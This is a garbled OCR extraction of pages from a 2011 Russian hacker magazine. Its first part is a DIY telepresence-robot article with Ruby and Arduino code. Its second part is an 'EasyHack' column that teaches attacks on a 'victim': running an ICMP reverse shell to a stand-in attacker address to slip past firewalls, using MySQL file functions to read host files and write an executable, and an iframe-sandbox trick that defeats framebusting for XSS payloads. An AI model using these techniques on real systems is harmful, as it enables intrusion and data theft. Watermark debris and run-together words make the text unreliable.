книги хакеры / журнал хакер / 153_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Видеочатнаколесикахw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
профиляилидерева.Нолучшепосетитьзаднийдворближайшегосупер- маркетаиподобратьтамплотныйпластмассовыйящикиз-подфруктов. Припомощисаморезовможноустановитьнанемнетолстыедеревянные брусочки,ккоторымукрепитьмоторыивспомогательныеколеса.
Моторыдляшуруповертовимеютспецифическуюформу,иустанавливатьихбезродногокорпусанепросто.Решениежедовольно тривиально—доработатькорпусшуруповертаножовкойинапильни- комиустанавливатьмоторвнем.Всювнутреннююэлектроникунам придетсявыкинуть,оставивлишьмоторсдвумяпроводами,которые нужновывестинаружуизкорпуса.Есливтвоихшуруповертахнет керамическихконденсаторовна100нФмеждуконтактамимотора,то рекомендуюихтудаприпаять:спасетотпомехналогикеиеесамопро- извольногосброса.Можноприпаятьдватакихконденсатора—между контактамимотораиегокорпусом,нодляэтогопотребуетсямощный паяльникиаккуратность,чтобы,соднойстороны,прогретьстенкимотора,асдругой,неповредитьпластиковыечасти.Впрочем,фильтры можнодобавитьинасиловуюплату.
СОБИРАЕМЗАЩИТНИКАВСЕЛЕННОЙ
Кромеящикасмотораминуженещекрепкийбрусок,накоторомбудет укрепленстоликдляноутбука.Оптимальнаядлинатакая,чтобы общаявысотаполучиласьпримерно110см,—тогдананоутбукебудет удобноинабиратьиполучитсянепростороботтелеприсутствия,а полноценноерабочееместо,котороевсостоянииследоватьзатобой повсюду.Столикдляноутбукаможносделатьизкускаоргстекла (размеромпримернослистокА4),азакрепитьнастальныеуголкипри помощиболтовиливытяжныхзаклепок.Всё,чтонезакрепленосамо- резами:моторы,платы,провода,аккумулятор,—удобнозакрепить припомощинейлоновыхстяжек.Способнедорогойипредельносер- дитый.Конечно,моторысколесамииз-затакогокрепленияпридется частоотправлятьнаразвал-схождение.
ВНОСИММОЗГИ
Теперьнужносоздатьэлектроннуюипрограммнуючасти.Вобщем,схема такова:наудаленномклиенте,которыйсоединяетсясмиромчерезWiFi- или3G-модем,запущенапрограмма,котораячитаетнажатиястрелочек наклавиатуреиприпомощиXMPP(напримерGTalk’а)передаетсообщениясуправляющимикомандаминасервер,которымявляетсянаш робот.Тамещеодинуправляющийскриптотлавливаетэтисообщенияи записываетихввиртуальныйСOM-порт,которыйсозданArduino.Дальше ардуиноотправляетсигналынасиловуюплату,котораянепосредственноуправляетмоторами.Именноеесейчасирассмотрим.Моторот шуруповертавмоментстартапотребляетбольше10А,авовремяработы минимум2Апостоянно.Управлятьтакоймощнойштукойудобнолибос помощьюреле(нодлянихсамихпридетсягородитьсхемувключения), либополевымитранзисторами.Дляначаларазберемсамыйпростой вариант(схема1),которыйпозволитнезависимокрутитьсяколесам, причемсразнойскоростью.Ещеплюс—дляэтойсхемынужносовсем немногодеталей,исобратьееможнонамакетнойплате(тольконепро- буйсобиратьеенабеспаечноймакетке—онаневыдержиттакихтоков). Главныйнедостатоктакойсхемы—крутитьсяколесасмогуттольков однусторону,азначит,роботупотребуетсяпространстводляманевров— разворотнаместедлянегонедоступен.
Основаэтойсхемы—полевойтранзистор(Q1,Q2)IRL530.Позаявле- ниюпроизводителя,онможетоткрыватьсяотлогическогоуровняв5В, которыйдаетвыходардуино.Чтобыуправлятьмоторамиплавно,будем подаватьнанихШИМ-сигнал.ВШИМ-режимечастьвременивыход включен,частьвыключен,новсреднемполучается,будтовыходвключен неполноймощностью.Переключенияизсостояниявсостояниепроисходятсчастотойвнесколькокилогерц,исглаживаниеоченькачественное.Поидее,всёдолжнобытьхорошо,давоттолькослабенькийтокот микроконтроллераоченьдолгооткрываетзатвортранзистора,поэтому получается,чтобольшуючастьвременитранзисторпроводитвполуоткрытомсостоянии,когдаегосопротивлениевелико,атокчерезнего немал.Врезультатенатранзисторахможножаритьяичницу,правда, недолго:моипослепятиминутработыроботасгореливовсе.Возможно, лучшебудетработатьдругойпопулярныйтранзистор—суправлением
обозначение |
деталь |
Q1, Q2 |
IRL530 |
R1, R2 |
130 |
R3, R4 |
100k |
U$1, U$2 |
MOTOR |
Схема1.Простейшаясхемасиловойчасти
обозначение |
деталь |
|
|
C13 |
10nF |
|
|
C1-C3,C5-C10 |
100uF/25V |
|
|
C4,C11, C12 |
100uF/25V |
|
|
D13 |
1N4007 |
|
|
D1-D13 |
1N5819 |
|
|
JP1 |
Data |
|
|
Q1-Q8 |
IRF1310 |
|
|
R1-R8 |
360R |
|
|
U$1-U$4 |
IR2110N |
|
|
X1 |
Мотор 1 |
|
|
X2 |
Питание |
|
|
X3 |
Мотор 2 |
|
|
Схема2.ПолноценныйH-мост
ХАКЕР 10/153/2011 |
039 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|||
|
|
|
|
to |
PHREAKINGm |
||||
w Click |
|
||||||||
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Материалыдляшасси |
Электроникаробота |
логическимуровнем—RFP30N06LEпроизводстваFairchild,который можетуправлятьсяиуровнемв3,3В.
Ноеслиужзаморачиватьсястакимроботом,можносделатьвсёпо максимумуисоорудитьполноценныйH-мост(схема2),длякотороговзять MOSFET’ыпомощнее,напримерIRF1310—срабочимтокомв42А.Утакого транзисторадажеприпускемоторабудет4-кратныйзапаспомощности, точнонесгорит.Ачтобыоноткрывалсяполностьюиреализовывалвесь свойпотенциал,управлятьимбудетспециальныйполумостовойдрайвер IR2110.Нмостпозволитколесамвращатьсявобестороны,азащищенная схемабудетработатьстабильноибезперегрева.Собратьегонесколько сложнее—деталейгораздобольше(таблица2),многозащитныхдиодов ифильтрующихконденсаторов.Намакеткетакуюплатусделатьещевозможно,нопрощебудетвытравитьдлянееспециальнуюплату.Сделатьее домаможно,например,припомощифоторезиста,ноэтотметодудобен, толькоеслиплатыприходитсяделатьчасто.Дляразовогоприменения прощевоспользоватьсяЛУТ—лазерно-утюжнойтехнологией(поссылке обучающееейвидеоgoo.gl/r1sr).
Послетогокаксиловаячастьсделана,еенужноподключитьк Arduino.Вслучаепервойсхемыихбудетвсеготри—двакШИМ- выходам10и11иодинкземле.Сжелезомпокончено.Теперьсказоб управляющемсофте.
МЫСЛИТЕЛЬНЫЙПРОЦЕСС
Видеоаудиоданныевсистемепередаютсянезависимоотуправления. Городитьсобственнуюсистемутелеконференцийдлятелеботабессмысленно.МожнозапростоиспользоватьSkypeиливидеочатGoogle, обаоникроссплатформенны,поэтомувсяпрограммнаячастьможетбыть организованаподUbuntu.Вскайпеудобнопоставитьвнастройкахгалочку«Автоматическиотвечатьнавызов»,чтобыможнобылоподключиться кроботувлюбоймомент.
Теперьуправляющийсофт.НампонадобитсясервернаяиклиентскаячастьдляPCипрошивкадляArduino.Управляющиескриптыбудем писатьнаRubyподуправлениемUbuntu(никакиххитрыхбиблиотекв скриптахнеиспользуется,ионидолжныработатьивсредеWindows,ив средеCygwin).Наобеихмашинахставиминтерпретатор:
sudo apt-get install ruby rubygems
Помиморуби,понадобитсяещеипарабиблиотекнаклиентедля работысJabber’ом:
sudo gem install xmpp4r-simple
Насервере,помимонее,понадобитсяещеибиблиотекаработыспоследовательнымпортом:
sudo gem install xmpp4r-simple ruby-serialport
Укодасерверапростаязадача—получитьуправляющуюкоманду поJabber’уиотослатьеемикроконтроллеручерезпоследовательный
Ведущаячасть
порт.Форматкомандтоженесложен—двачислаот0до255,черезпро- бел.Каждоечисло—значение,навыходеШИМ—255максимальная скорость,0—остановка.
Код сервера
require 'rubygems' require 'xmpp4r-simple' require 'serialport'
# проиницыализировали все библиотеки sp = SerialPort.new "/dev/ttyUSB0", 9600
# открыли последовательный порт
im = Jabber::Simple.new("ww@mail.com", "pass")
#соединились с Jabber’ом while(true) do
#и до бесконечности
im.received_messages do |message|
#проверяем пришедшие сообщения puts "#{message.body}"
a,b = message.body.split(' ')
#разбираем, если что-то пришло sp.write a.to_i.chr+b.to_i.chr
#и записываем в порт
#пускай контроллер разбирается end
sleep 0.05
#немного погодя всё заново
end
Запуститьэтотскриптпростокомандой
ruby telebot.server.rb
ТЕЛЕБОТНАПРОКАТ
|
Е |
слихочешьпопробоватьощутить |
|
|
себявшкуреробота,тоделатьсвоего |
|
|
|
|
телеботавовсененужно.Можновзять |
|
одногонапрокат.Например,популярногодоволь- |
|
||
ноизвестногороссийскогоRBot'a(teledroids.ru)— |
|
||
ведрообразногороботасоченьподвижнойшеей |
|
||
идоброжелательнымвыражениемлица,хотяон |
|
||
созданвосновномдлярекламныхцелей.Для |
|
||
веселоговремяпровожденияможнопопробовать |
|
||
болееаркадныйвариант:поигратьвшутерот |
|
||
лицаробота(robot-war.ru)илипогонятьпопарку |
|
||
нареальныхмашинках(glavbot.ru) |
RBot—русскийтелебот |
040 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Послетогокаккомандаотосланакконтроллеру,еенужноразобратьи тамужезаписатьсоответствующиезначениявножку.
Скетч для Arduino
int lPin = 10; // Левый мотор int rPin = 11; // Правый мотор int command = 0;
void setup() { Serial.begin(9600); }
void loop() {
if (Serial.available() > 0) {
//читаем команду правого мотора command = Serial.read();
//пишем команду правого мотора analogWrite(rPin, command); Serial.println(command, DEC);
//читаем команду левого мотора command = Serial.read();
//записываем команду левого мотора analogWrite(lPin, command); Serial.println(command, DEC);
//в течение 300 мс моторы крутятся
delay(300);} //потом отключаются
//и ждут новых указаний
analogWrite(rPin, 0);
analogWrite(lPin, 0); }
Благодарятакомупростомуформатупередачисообщенийсерверу клиентаможнонеписатьивовсе,простосидивчатикедапереписывайся сроботом.Такойвариант,конечно,малоудобен,поэтомуещеодинскрипт, которыйбудетчитатьнажатияклавишклавиатурыиотсылатькоманды поджабберу.
Пониматьонбудеттристрелочки,атакжецифрыот1до3,которые задаютскорость.Вскриптеиспользуетсянебольшоеколичествомагии, котораяпозволяетконсольномуприложениючитатьнажатияклавишбез подтвержденияклавишейEnter.
Код клиента
require 'rubygems'
require 'xmpp4r-simple'
@a = 255/3
@im = Jabber::Simple.new("qq@mail.com", "pass")
@recipient="ww@mail.com"
# читаем клавиши без нажатия Enter def read_char
begin
#магия начинается
old_state = 'stty -g'
system "stty raw -echo"
c = STDIN.getc.chr
if(c=="\e")
extra_thread = Thread.new{
c = c + STDIN.getc.chr
c = c + STDIN.getc.chr
}
extra_thread.join(0.00001)
extra_thread.kill
end
rescue => ex
puts "#{ex.class}: #{ex.message}"
puts ex.backtrace
ensure
system "stty #{old_state}"
end
return c
# магия кончается
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Видеочатнаколесикахw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
БАЛАНСИРУЮЩИЙ ДВУХКОЛЕСНЫЙРОБОТ
тобысделатьбалансирующегоробота,нужнапростаядвухко-
Члеснаяробоплатформа,ккоторойнеобходимодобавитьгироскоп дляизмеренияугловойскоростиотклонения(чтобыпонять,когда
роботначнетзаваливаться)иакселерометр,чтобызнать,вкакуюсторонунаправленагравитация,икорректироватьпоказаниягироскопа.Выпускаются, правда,этимикросхемывужасномелкихкорпусах,скоторымиработатьдома почтиневозможно,поэтомупрощевоспользоватьсяDIP-модулями,например откомпанииSparkfun(гироскопsparkfun.com/products/9059иакселерометр sparkfun.com/products/844).Вкачествеосновыможновзятьфайлыпроекта ArduRoller(github.com/fasaxc/ArduRoller)—тамужеестьготовыйкодисхемы.
end
#разбираемся с прочитанными клавишами
def show_single_key
c = read_char case c
#по нажатию кнопки отсылаем сообщение when "\e[A"
puts "Вперед"
@im.deliver(@recipient, @a.to_s+" "+@a.to_s) when "\e[C"
puts "Направо" @im.deliver(@recipient, "0 "+@a.to_s) when "\e[D"
puts "Налево" @im.deliver(@recipient, @a.to_s+" 0")
#цифры от 1 до 3 определяют скорость when "1"
puts "1" @a = 255/3 when "2" puts "2"
@a = 255*2/3 when "3" puts "3"
@a = 255
#по esc прикрываем лавочку
when "\e" Process.exit
end
end
#запускаем прослушку до конца времен
show_single_key while(true)
Всеготово!Запускаемклиентисерверикатаемсяпоквартире.Потом можнопровестииуличныеиспытания—общаясьсослегкаизумленными прохожими.
КУДАКАТИТЬСЯДАЛЬШЕ?
Сколькоэтостоило?Натележкусмоторами,аккумуляторамиипрочим ушлонеболее100долларов,нетбукябралсвой,нозапарусотенточно можноприобрестиподобныйслегкаподержанный.Ителеприсутствуватьвразныхместах!
Хотянаэтомнестоитостанавливаться!Легкозаставитьегокататься повагонамэлектрички,собираяпожертвованиянаразвитиеотечественнойробототехники,итакокупитьзатратынаегопостройку.Аможно установитьнанегополноценнуюробооперационкуROS(ros.org/wiki/), навеситьразнообразныхдатчиковидовестиегопоинтеллектудоуровня WillowGaragePR2(goo.gl/SDr8)илиRBot(rbot.ru). z
ХАКЕР 10/153/2011 |
041 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
/EASYHACK |
||||||
w Click |
|
|||||||||||
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
Тюрин«GreenDog»Алексей,DSecRG.ru
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
(agrrrdog@gmail.com,twitter.com/antyurin)w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
EASY
HACK
ОРГАНИЗОВАТЬСКРЫТЫЙКАНАЛСВЯЗИ
СКОМПЬЮТЕРОМЗАФАЙРВОЛОМ
ЗАДАЧА
РЕШЕНИЕ
Конечно,самоепростое—этозабиндитьшеллнакаком-нибудь TCP-портуилиорганизоватьbackconnect.Ночтоделать,еслиэти возможностинедоступны:набинд-шелланехватаетправ,аисходя- щиеTCP-коннектыблокируютсяфайрволом?
Внашемраспоряжениивседругиепротоколы,инкапсулировать можнокудаугодно.Одинизотличныхвариантов—использовать DNS-туннельвварианте,реализованномАлексеемСинцовым(читай
в147-мвыпускеХ).Носегоднямнехотелосьбырассказатьобисполь- зованиишелла,работающегочерезпротоколICMP,—аесликонкрет- но,тоореализацииотBernardoDameleиегодругаNico:reverseicmp shell.Какясно,вданномслучаенаклиенте(тоестьунашейжертвы)
открываетсяшелливесьегоисходящийтрафикпихаетсявпакетыICMPechorequest(обычныеping’и).Унаснасерверемыпарсим данныевходящихзапросов,авответныхICMPecho-reply-пакетах передаемкомандыклиенту.
Впринципе,темадовольностандартная,ноздесьестьдвеот- личительныеиприятныедлянасособенности.Во-первых,таккак
РаботаICMP-шелла:сверху—клиент,внизу—сервер
этопосутиbackconnect,тошансыпреодолетьфайрволсущественно повышаются.Во-вторых,иэтоглавнаяфишка,этотшеллнетребует админскихправ:разработчикипотрудилисьинеиспользовалиraw socket’ы.Итак,юзаем.
У жертвы
icmpsh.exe -t ha.ck.er.ip
Имеетсянескольконастроекклиента,которыевыбираютсявзависимостиотнеобходимойскрытностиискоростиканала.Тулзанемного глючит,такчтонекорректныенастройкибудутзаметносказыватьсяна работоспособности.
У себя
./icmpsh_m.py ha.ck.er.ip vi.ct.im.ip
ЗдесьмыуказываемпоочередисвойIPиадреснашейжертвы, откудабудутприходитьпинги.Клиентскаячастьнаписанатолькопод Windows,что,вобщем-то,логично.Работаетотличноубесправных юзеров,какнаXP,такив7-ке.
Сервернаячастьреализованасразунатрехязыках—Perl,C, Python.ХотяизаявленаработанавсехОС,нонапрактикенужнопользоватьсяниксами.Связаноэтокакминимумстем,чтопередзапуском сервернойчастинеобходимоотключитьуОСответынавходящие ICMP-ping-запросы:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
Ещеоднаприятностьвтом,чтоданныйкомплекттеперьофициальновходитвsqlmap.
Конечно,защититьсяоттакогохекаоченьпросто:админубудет достаточнолишьзаблокироватьисходящийICMP-трафик.Однакона практикеэтоделаетсякрайнередко,поэтомутемабудетработатьв абсолютномбольшинствесетей.
042 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
EASYHACKw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ПОЛУЧИТЬДОСТУПКФАЙЛОВОЙСИСТЕМЕИЗMYSQL
ЗАДАЧА
РЕШЕНИЕ
Сейчасблекхатамчастонетсмыслалезьвкорпоративнуюсеть,ведь основнойпрофит—базаданных,котораяобычно«доступна»через веб-порталкомпании.Сломалсайт—получилдоступкБД,дальше лезтьобычнонетсмысла.
Нотакбываетневсегда.Например,ситуация:мыпоимеликакую-то базуданных,нонашацель—другаясистеманатомжехосте.Воттути появляетсязадачаполучитьвозможностьвыполнятькомандывОСили хотябычитатьфайлы.Второгодобитьсяпроще,таккакэтотфункционалчастодоступеннепривилегированнымпользователямСУБД.
Основнойпуть—использованиефункцииLoad_File().Длячтения необходимыпривилегииFILEиCREATETABLE.Кстати,подвиндой шансовнаудачноечтениефайловбольше,таккакмускулзапускаетсяподпривилегированнойучетнойзаписьюLocalSystem.Влучшем случае,еслиунасестьвозможностьвыполнятьпоследовательность команд,длячтениябинарногофайлапотребуетсяследующийкод:
SELECT HEX(LOAD_FILE(C:/test.exe)) INTO DUMPFILE 'c:/windows/
temp/blablabla';
CREATE TABLE readtest(data longtext);
LOAD DATA INFILE 'c:/windows/temp/blablabla' INTO TABLE
readtest FIELD TERMINATED BY '\\' (data);
Поясню.Здесьвпервойстрокемычитаемнеобходимыйбинарники пихаемегововременныйфайлвшестнадцатеричномвиде.Этонеобходимодлятого,чтобыпревратитьбинарникв«обычный»текст.Дальше
создаемтаблицусоднимполемтипаlongtext.Втретьейстроке—под- гружаемтолькочтосозданныйвременныйфайлвнашуновуютабличку сучетомразбиениястрокипотипуокончаниястрок.Вобщем,вселогично.Причтениитекстовыхфайловотпервогопунктаможноизбавиться.
ДлятогочтобызаписатьфайлвОС,необходимоиметьправаFILE, UPDATE,INSERT,CREATETABLE.Посути,намтребуетсяужеописаннаякомандаSELECTсуказаниемINTODUMPFILE.Сразуотмечу,чтоу насестьвозможностьтолькоперезаписыватьсуществующийфайл, нониктонемешаетнамсначалаегопрочитать,апотом,добавивсвои данные,записатьобратно.Всложныхслучаях,когданамнеобходимо залитьбинарник,мыможемвоспользоватьсяследующейпоследова- тельностью.Во-первых,разбитьбинарникначастиввидеhex-строки длинойпо1024байта.Во-вторых,выполнитьследующиекоманды:
CREATE TABLE writetest(datalongblog);
INSERT INTO writetest(data) VALUES (0x4d5a90..610000);
UPDATE writetest SET data= CONCAT (data,0xaa27000000…000000);
[…];
SELECT data FROM writetest INTO DUMPFILE 'C:/windows/Temp/test.exe';
Здесьмынапервомшагесоздаемтабличкусоднимполемдля хранениябинарника.Навторомшагевданноеполемыкладемпервую hex-строку.Апотомпоследовательнымикомандамиконкатенации добавляемостальныеhex-строки.Напоследнемшаге,засчетселекта, скидываемзначениеполявexe’шиквлюбомместеОС.ОписанныеметодикиоснованынаработеБернандоДамеле(BlackHat2009,goo.gl/23808).
ОБОЙТИFRAMEBUSTING-ЗАЩИТУ
ЗАДАЧА
РЕШЕНИЕ
ПаруномеровназадярассказывалпроXSS-track(goo.gl/lXmF8)—на- грузкудляXSS-уязвимостей.Сутьеевтом,чтоонадобавляетна уязвимуюстраницуфреймразмеромвовесьэкран,вкоторомзагружаетсядругаястраницаэтогожедомена.Пользовательприэтом видитнормальнуюстраницусайта,новсеегодействияотслежива- ютсяXSS-трекером:все,чтонаходитсявнутрифрейма,доступноиз JavaScript,акрометого,некоторыедействияможноиэмулировать. Кросс-доменныеполитикитутнедействуют,таккакпользовательне покидаетдомена.
Впрочем,оттакихфреймовыхнагрузокдавноужеестьзащита.В простейшемвидеонапредставляетсобойнебольшойJavaScript:
<script type="text/javascript">
if(top != self) top.location.replace(location); </script>
Данныйскриптразмещаютнастраницахзащищаемогосайта.Он проверяет,загруженливфрейме,иперезагружаетстраницувслучае обнаруженияэтогофакта.Ноиздесьмыкое-чтоможемсделать.Один изспособов,правда,неоченьгуманный—обрезатьвозможности яваскриптавофрейме.Делаетсяэтозасчетиспользованияпараметра sandbox,которыйпоявилсявHTML5иужеподдерживаетсябраузерами.
<iframe src=?http://www.victim.com? sandbox="allow-same-origin
allow-forms allow-scripts"></iframe>
Здесьмы«разжали»нашупесочницу,позволяяпроводитьбольшинстводействийвнутрифреймавштатномрежиме.Еслимыуберем allow-scripts,тояваскриптывнутрифрейманезапустятся.Ночтоваж-
нодлянас,allow-top-navigationвспискеразрешенийотсутствует,тем самымзапрещаяскриптамвнутрифреймапереходитьнадругиесайты основнымокном.Тоестьсфреймажертвауженикуданеденется.
Уданнойтехнологииобходаframebusting-защитыестьодин временныйминус:поддерживаетсяэтановаяHTML5-фичатолькопо- следнимибраузерами,даитоневсеми.Тутужзадумаешься,насколько крутоиметьсамыйпродвинутыйбраузер.
Вкачествеэкспериментальногоибраузерозависимоговарианта можнопредложитьидеюобходазасчетвстроеннойвIE8/9защитыотXSS. Фичавтом,чтобыпереходитьнастраницысframebusting’ом,добавляя
вадресприпереходепростейшиеJavaScipt’ы(XSS).ФильтрIE,«увидев» отраженнуюXSS’ку,автоматомотключаетяваскриптнастранице(той,что внутрифрейма),иframebusterнеактивируется.Такимобразом,дляэкспу- латациинамнужныпочтидвеXSS-дырки.Однадлятого,чтобыподгру- зитьяваскриптсфреймом(storedXSSилиreflected,еслитызнаешь,как обойтиIE-фильтр),ивторая—дляподстановкивофреймеиактивации фильтравIE.Согласен,чтохитро,нокакидеяэтодовольноинтересно.
Включаемпесочницу—отключаемяваскриптвофрейме
ХАКЕР 10/153/2011 |
043 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
/EASYHACK |
||||||
w Click |
|
|||||||||||
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
